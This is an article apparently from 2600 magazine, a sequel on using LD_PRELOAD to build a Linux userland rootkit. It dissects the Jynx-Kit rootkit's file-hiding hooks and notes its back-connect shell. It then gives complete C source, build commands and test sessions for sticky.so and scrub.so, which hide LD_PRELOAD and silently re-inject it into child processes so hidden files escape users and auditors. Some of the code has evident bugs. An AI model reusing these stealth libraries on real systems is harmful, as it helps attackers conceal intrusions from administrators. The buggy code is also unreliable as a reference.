Nigrum Libro Interceptis: Secundae

(Black Book Intercepts: The Second)

by the xorcist

Since my first article "Nigrum Libro Interceptis," published here in the Summer 2015 edition of 2600, I've received feedback, questions, and some criticisms that I think it is worthwhile to address.

First, people have had some subtle issues with the code, depending on compiler revision, distribution, etc.  The errors were not intentional and the code does work, at least on older distributions.

Some astute readers have noticed that the example output from PV Wave indicates a date from some years ago.  Quite true.  I originally wrote this material some time ago, and had intended it as a much lengthier Phrack article.  I never did quite complete it, moved on to some other things, and it made its way into my backups archive and sat there for some years until I decided to cut it up and publish it here.

Also, some people asked what may be done to defend against this sort of thing.  A possible solution is presented in this article.

And finally, there was the last criticism: why on Earth I did not address, or even mention, the Jynx-Kit userland rootkit which leverages LD_PRELOAD.

Well, quite simply, Jynx-Kit didn't exist at the time I wrote the original article, and I didn't put as much effort into editing or updating it as I should have.  I hadn't realized how many people would Google about for LD_PRELOAD stuff for the first time after reading the first article, and would stumble on Jynx-Kit.  That was an oversight on my part.

So just what the hell is it?

The Jynx-Kit Userland Rootkit

Jynx-Kit is a library by ErrProne/XO which uses LD_PRELOAD to intercept relevant filesystem access calls and to scrub certain material from those functions in order to hide files or directories completely.

A user, even root, who has LD_PRELOAD set in their environment to include ld_poison.so (the default object name of Jynx-Kit) will find that directories or files prefixed by a user-definable string simply disappear from ls, find, and similar tools.  Additionally, for users of a certain "magic" group ID, those files will disappear as well.

The functions that Jynx-Kit intercepts are:

Intercepting this handful of functions goes a long way towards creating a cloaked directory structure.

There are, however, some limitations.

Intercepting these functions will hide our files, but they will not hide us.

Logins will still show up in wtmp or wherever, so that still needs to be scrubbed.  Also, doing an env in the shell will show the LD_PRELOAD environment variable itself as being set, so it is trivial for a user to simply check their environment and unset it.

While using LD_PRELOAD to cloak logins could work, it is much more reliable and straightforward to simply modify wtmp, so we're not concerned with that here.

In this article, we'll be looking at a way of masking and protecting the LD_PRELOAD environment variable itself so that once set they are locked in to having it in their environment.  That would be a powerful tool.  We'll conjure something for that later in this article.  For now, let's dig into the Jynx-Kit functions and see what we find.

The Anatomy of Jynx-Kit

The Jynx-Kit materials can be obtained from the following URL: github.com/chokepoint/jynxkit/archive/master.zip

In that ZIP file you'll find the following default config.h file:

#ifndef CONFIG_H
#define CONFIG_H

#define MAGIC_DIR "xochi"
#define MAGIC_GID 90
#define CONFIG_FILE "ld.so.preload"

#define APP_NAME "bc"
#define MAGIC_ACK 0xdead
#define MAGIC_SEQ 0xbeef

//#define DEBUG

#endif

The MAGIC_GID and MAGIC_DIR variables are what we are most interested in.  Any files or directories prefixed with xochi or owned by MAGIC_GID will be scrubbed/ignored by the overloaded functions.

Jynx-Kit also provides a back-connect shell which can be trigged by sending the MAGIC_ACK and MAGIC_SEQ packets, but for our purposes we are going to be concentrating on the pre-loadable library portion.

The basic strategy of Jynx-Kit is similar to the "fakedate" library:

So, ld_poison.c has an init() section which makes calls like this:

old_fxstat = dlsym(RTLD_NEXT, "__fxstat");

And an overloaded fstat() function defined like this:

Excerpt from ld_poison.c:

int fstat(int fd, struct stat *buf)
{
  struct stat s_fstat;

#ifdef DEBUG
  printf("fstat hooked.\n");
#endif

  memset(&s_fstat, 0, sizeof(stat));

  old_fxstat(_STAT_VER, fd, &s_fstat);

  if (s_fstat.st_gid == MAGIC_GID) {
    errno = ENOENT;
    return -1;
  }

  return old_fxstat(_STAT_VER, fd, buf);
}

Pretty simple, and with analogous overloads for the other mentioned libraries, it is pretty easy to roll up a nice little library.

In other functions, we see tests like this, where it looks for our scrubbed strings:

if (s_fstat.st_gid == MAGIC_GID || strstr(file, CONFIG_FILE) || strstr(file, MAGIC_DIR)) {
...
}

Unfortunately, while Jynx-Kit does a great job of hiding files, it doesn't do anything about scrubbing the environment to hide itself.

A Sticky LD_PRELOAD Library

All of this is well and good, but if a Jynx'ed user can just unset LD_PRELOAD and undo all of our work, we're not doing ourselves justice and it would simply suffice to put unset LD_PRELOAD in our profile to ensure that we can't be Jynx'ed.

That, of course, simply will not do.  It should take more than a meager shell command to evince the designs of a practitioner of the dark arts.

We can't entirely ensure that our library propagates, because ld will not honor LD_PRELOAD for Set User ID (SUID) binaries, no matter what.

So su - root will always scrub us, at least until a profile entry puts us back in.

So, now we take aim at three functions which are of particular danger to a nefarious pre-loaded library: getenv(), setenv(), and unsetenv().

For purposes of brevity, and to leave some work to the reader, the library provided here is blind to the contents of LD_PRELOAD, meaning whatever is loaded is made sticky.

In real usage, we should allow sticky so to be configured with which libraries will be made sticky/invisible, and which are allowed to be viewed/scrubbed.

As a first cut towards this goal, let's proceed directly and overload the C functions getenv(), setenv(), and unsetenv():

sticky.c:

#define _GNU_SOURCE

#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <string.h>
#include <sys/types.h>

typedef char *(*getenv_t)(const char *name);
typedef int (*setenv_t)(const char *name, const char *value, int overwrite);
typedef int (*unsetenv_t)(const char *name);

char *getenv(const char *name)
{
  static getenv_t real_getenv = NULL;
  real_getenv = dlsym(RTLD_NEXT, "getenv");

  fprintf(stderr, "hooked getenv\n");
  if (!strcmp("LD_PRELOAD", name)) {
    fprintf(stderr, "getenv subvert\n");
    return NULL;
  } else {
    return real_getenv(name);
  }
}

int setenv(const char *name, const char *value, int overwrite)
{
  static setenv_t real_setenv = NULL;
  real_setenv = dlsym(RTLD_NEXT, "setenv");

  fprintf(stderr, "hooked setenv\n");
  if (!strcmp("LD_PRELOAD", name)) {
    fprintf(stderr, "setenv subvert\n");
    return NULL;
  } else {
    return real_setenv(name, value, overwrite);
  }
}

int unsetenv(const char *name)
{
  static unsetenv_t real_unsetenv = NULL;
  real_unsetenv = dlsym(RTLD_NEXT, "unsetenv");

  fprintf(stderr, "hooked unsetenv\n");
  if (!strcmp("LD_PRELOAD", name)) {
    fprintf(stderr, "unsetenv subvert\n");
    return NULL;
  } else {
    return real_unsetenv(name);
  }
}

foo.c:

#include <stdio.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char *av[])
{

   if (getenv("LD_PRELOAD"))
	printf("%s\n", getenv("LD_PRELOAD"));
   else
	printf("no LD_PRELOAD found\n");

}

Now, on our command line let's go ahead and test our library against the standard C routines as used by foo.c:

$ gcc -o foo foo.c
$ gcc -fPIC -shared -ldl -o sticky.so sticky.c
$ ./foo
no LD_PRELOAD found
$ export LD_PRELOAD=./sticky.so
$ ./foo
hooked getenv
getenv subvert
no LD_PRELOAD found

So far, so good!  But we aren't out of the water yet:

$ bash
$ env | grep LD_PRELOAD
hooked getenv
hooked getenv
hooked getenv
hooked getenv
LD_PRELOAD=./sticky.so
$ echo $LD_PRELOAD
./sticky.so

Bash has some of its own functions for manipulating and getting at the environment.

Sure, we could go about creating functions tailored for Bash and possibly other shells.  But that sounds like it will make for a long article, not to mention cut into my beer drinking time.

So how about a different approach?

Once ld loads our library, we're good to go and the LD_PRELOAD variable won't get used again until something gets executed.

So we don't really need the LD_PRELOAD variable anymore.  Let's just unset it.  If it truly isn't there, no detection mechanism will find it.  We have the problem, then, of child processes not being subverted, but we can take care of that by hooking exec() stuff and inserting LD_PRELOAD into the environment before calling the real function.

scrub.c:

#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char **environ;

int (*real_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;

char *shadow;

void init()
{
    static const char *scrub = "LD_PRELOAD";
    int i, j, N = strlen(getenv(scrub));
    shadow = strcpy(malloc(N+1), getenv(scrub));

    /* This loop just performs unsetenv() */
    /* Hard-coded in case you want to load sticky.so as well */
    for(i = 0; environ[i]; i++)
    {
        int found = 1;
        for(j = 0; scrub[j] != 0 && environ[i][j] != 0; j++)
            if(scrub[j] != environ[i][j])
            {
                found = 0;
                break;
            }
        if(found)
        {
            for(j = 0; environ[i][j] != 0; j++)
                environ[i][j] = '\0';
            break;
            free(environ[i]);
        }
    }

    for(j = i; environ[j]; j++)
        environ[j] = environ[j+1];
}

int execve(const char *path, char *const argv[], char *const envp[])
{
    int i, j, k = -1, r;
    char** bogus_env;
    real_execve = dlsym(RTLD_NEXT,"execve");

    /* Locate LD_PRELOAD in the environment */
    /* Ideally this loop would never find it and k should */
    /* remain uninitialized, but just in case the user */
    /* adds a preload .. */
    for(i = 0; envp[i]; i++)
    {
        if(strstr(envp[i], "LD_PRELOAD"))
            k = i;
    }

    /* If k is uninitialized, then add a spot for LD_PRELOAD at the end */
    if(k == -1)
    {
        k = i;
        i++;
    }

    /* Now copy and fux0r the environment */
    bogus_env = (char**) malloc(i+1);
    for(j = 0; j < i; j++)
    {

        if(j == k) /* make sure our LD_PRELOAD is set back up */
        {
            bogus_env[j] = malloc(strlen(shadow)+strlen("LD_PRELOAD=")+1);
            strcpy(bogus_env[j], "LD_PRELOAD=");
            strcat(bogus_env[j], shadow);
        }
        else
            bogus_env[j] = (char*) envp[j];
    }
    bogus_env[i] = NULL;

    /* With LD_PRELOAD back in the environment we can launch the bin */
    /* The new load of our library will fire scrub() above to remove LD_PRELOAD */
    /* so we stay cloaked .. just need a compile flag for that */
    r = real_execve(path, argv, bogus_env);

    /* and cleanup */
    free(bogus_env[k]);
    free(bogus_env);
    return r;
}

Functional Test of scrub.so and ld_poison.so

So let's test this out.  In my little working directory here, I have:

$ gcc -o scrub.so -fPIC -ldl -Wl,-init,scrub -shared scrub.c
$ ls -l
ld_poison.so
scrub.c
scrub.so
sticky.c
sticky.so
xochi-hidden-dir

When I load ld_poison, that xochi-hidden-dir disappears, but LD_PRELOAD stays visible:

$ export LD_PRELOAD=./ld_poison.so
$ bash
$ ls 
backdoor.c ld_poison.so scrub.c scrub.so sticky.c sticky.so
$ echo $LD_PRELOAD
./ld_poison.so
$

But if I load scrub.so:

$ export LD_PRELOAD=./scrub.so:./ld_poison.so
$ bash
$ ls
backdoor.c ld_poison.so scrub.c scrub.so sticky.c sticky.so
$ echo $LD_PRELOAD

$ env | grep LD_PRELOAD
$

And there you have it.

There appears to be no LD_PRELOAD in effect, but Jynx-Kit is still working.

Scrub as an ld.so Prophylactic

Once scrub.so is in the environment, it will not allow new LD_PRELOAD settings to come into play because it always overwrites LD_PRELOAD with a path back to itself.

If we really wanted stealth, we'd want to honor those new pre-loads so that the user gets the expected behavior.  We'd just have to take care to move ourselves in and out of the path string, as needed.  An additional strcat() would do it, basically.

But by overwriting LD_PRELOAD, we enable scrub.so to also protect us from Jynx-Kit if we so choose.

First, set up LD_PRELOAD with scrub.so and nothing else in the path, and fork a shell with our newly scrubbed environment:

$ ls
ld_poison.so scrub.c scrub.so sticky.c sticky.so xochi-hidden-dir
$ export LD_PRELOAD=./scrub.so
$ bash
$ echo $LD_PRELOAD

$

O.K., so far, so good.

Now, let's try to load ld_poison.so:

$ export LD_PRELOAD=./ld_poison.so
$ ls
ld_poison.so scrub.c scrub.so sticky.c sticky.so xochi-hidden-dir
$ echo $LD_PRELOAD
./ld_poison.so
$

Scrub is doing its job nicely, preventing any modification to LD_PRELOAD, and therefore Jynx-Kit cannot get loaded.

Closing Comments

There are a lot of other things we can do as well.

We might like to hide processes or network connections, for example.  In fact, if we were to really deploy something like this, it would be dangerous not to.

Likewise, scrub.c is not really enough to hide our LD_PRELOAD trickery.  There are other environment variables that ld uses, for example, which will print debug information about the libraries being loaded.

We'd need to interfere with that too, the same way we do with LD_PRELOAD itself.

Even still, that would not be sufficient as you can view what libraries are loaded via /proc/$PID/ maps.  So we'd have to hook fopen() and check for that.

But, all in all, scrub.so and ld_poison.so together form a pretty stealthy little combination that would go a long way towards providing protection from casual inspection or routine auditing.

Code: scrub.c

Code: sticky.c

Code: foo.c

Return to $2600 Index